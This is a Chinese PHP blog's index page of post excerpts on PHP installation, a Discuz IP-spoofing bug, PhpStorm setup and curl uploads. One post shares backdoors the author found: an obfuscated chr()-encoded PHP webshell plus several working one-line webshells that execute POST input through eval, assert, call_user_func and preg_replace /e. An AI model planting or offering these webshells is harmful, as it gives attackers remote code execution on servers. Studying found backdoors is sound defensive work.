php开发

PHP+jQuery实现的大转盘抽奖程序

PHP+jQuery实现的大转盘抽奖程序

1.png - 大小: 137.97 KB - 尺寸: 1122 x 876 - 点击打开新窗口浏览全图

演示地址:

http://www.jincon.com/download/lottery/

抽奖算法部分:

» 阅读全文

一个java解密算法改写为php解密算法的代码

java了解的太基础了,反正改写解密算法够了,这个解密算法也挺简单的。于是就写了下,将java改为php版本的


public class Jincon {

    public static void main(String []args) {
        String [] names ={"解密的密文"};
        for( String name : names ) {
          System.out.print( name );
          System.out.print(",");
          Decrypt(name) ;

» 阅读全文

关键词: java , php , 解密算法

Centos搭建PHP7.0.x教程,让php5.3和php7兼容共存


本人博客http://www.jincon.com/ 使用的是 php5.3.x版本的,为了装逼测试下,php7 。

本文主要是Centos搭建PHP7.0教程,同时让php5.3和php7共存:

先安装php5.3 就不说,说Centos搭建PHP7.0教程:


# wget  http://php.net/get/php-7.0.4.tar.gz/from/a/mirror

解压安装
# tar zxvf php-7.0.4.tar.gz
# cd php-7.0.4

可以先查看下安装帮助,当然你也可以不管
# ./configure   --help    


由于我博客原本5.3的就是安装在 /usr/local/php 下面,所以新版的php7 我就安装到 /usr/local/php7 了,

1.jpg - 大小: 231.98 KB - 尺寸: 1742 x 728 - 点击打开新窗口浏览全图



» 阅读全文

关键词: php7教程

同一服务器php2个版本php5.3和php5.4共存的搭建笔记

同一服务器php2个版本php5.3和php5.4共存的搭建方法

应一个兄弟帮忙的需求操作这个,兄弟的服务器,一个需要zend+php 5.4 ,一个网站需要 5.3,

之前兄弟直接买了2个服务器,感觉太浪费钱了,于是给他搭建了下,有了以下搭建笔记:

基本上是shell,各位自己试试,深夜了,写的有点乱,有问题留言,


php5.3 我就不管了,网上一堆教程,或者使用lnmp一键安装包各种爽歪歪,

主要说下php5.3和php5.4共存的搭建笔记,源码是 军哥的网站盗的,哈哈


#!/bin/bash

echo  "[+] Installing Php 5.4..."
wget http://soft.vpser.net/web/php/php-5.4.41.tar.gz

tar zxvf php-5.4.41.tar.gz php-5.4.41
cd php-5.4.41


» 阅读全文

关键词: php5.3和php5.4共存

Discuz获取IP的bug问题分析,坑爹的玩意

discuz的获取IP的方法是如下代码,每个版本位置不同,2.5的版本在 \source\class\discuz\discuz_application.php:


	private function _get_client_ip() {
		$ip = $_SERVER['REMOTE_ADDR'];
		if (isset($_SERVER['HTTP_CLIENT_IP']) 
&& preg_match('/^([0-9]{1,3}\.){3}[0-9]{1,3}$/', $_SERVER['HTTP_CLIENT_IP'])) {
			$ip = $_SERVER['HTTP_CLIENT_IP'];
		} elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR']) 
AND preg_match_all('#\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}#s', 
$_SERVER['HTTP_X_FORWARDED_FOR'], $matches)) {
			foreach ($matches[0] AS $xip) {
				if (!preg_match('#^(10|172\.16|192\.168)\.#',
 $xip)) {
					$ip = $xip;
					break;
				}
			}
		}
		return $ip;
	}
这个代码获取IP有问题,为什么说获取有问题呢,因为以上代码是可以通过CURL伪造的:

» 阅读全文

关键词: ip的bug , discuz

发现一些 php 的后门,给大家 see see

发现一个 php 的后门,给大家 see see,

其实一般,不过不容易发现。

<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>


这么 low 的代码,我的就不说了,解码下就行了。


<?php $_GET['ts7']($_POST['cmd']);>

${@print(eval($_POST[c]))}

<!--?php $lang = (string)key($_POST);$lang($_POST['sz']); ?-->

<?php $k="ass"."ert"; $k(${"_PO"."ST"} ['8']);?> 

123<?phpif(key($_GET)=='1')call_user_func($_GET['1'],$_POST['1']);?>123

123<?php@preg_replace("/[email]/e",$_POST['h'],"error");?>123
<?php @$a=str_rot13('nffreg');@$a($_POST['x']);?>

PHPStorm在Mac系统提示您需要安装旧 Java SE 6 运行环境的解决办法

PHPStorm在Mac系统提示您需要安装旧 Java SE 6 运行环境的解决办法

因为需要开发某些东西的缘故,给我的Mac系统安装的是jdk 1.7 版本,但是等我下载phpstrom这货的时候,竟然提示

Mac系统

您需要安装旧 Java SE 6 运行环境才能打开PHPStorm。

提示这个错误,主要是缺少JAVA SE6的环境,可以通过:

1)下载JAVA SDK6(http://support.apple.com/kb/DL1572?viewlocale=zh_CN&locale=en_US),但是我我已经安装了java SDK 7了,不想再折腾了。


» 阅读全文

关键词: javasdk , phpstrom

php利用curl上传文件代码

php利用curl上传文件代码

<?php
    $ch=curl_init('http://localhost/post.php');    
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

    // localhost:8888是fiddler的代理,设置此选项用于让fiddler抓获post的请求

» 阅读全文

关键词: curl上传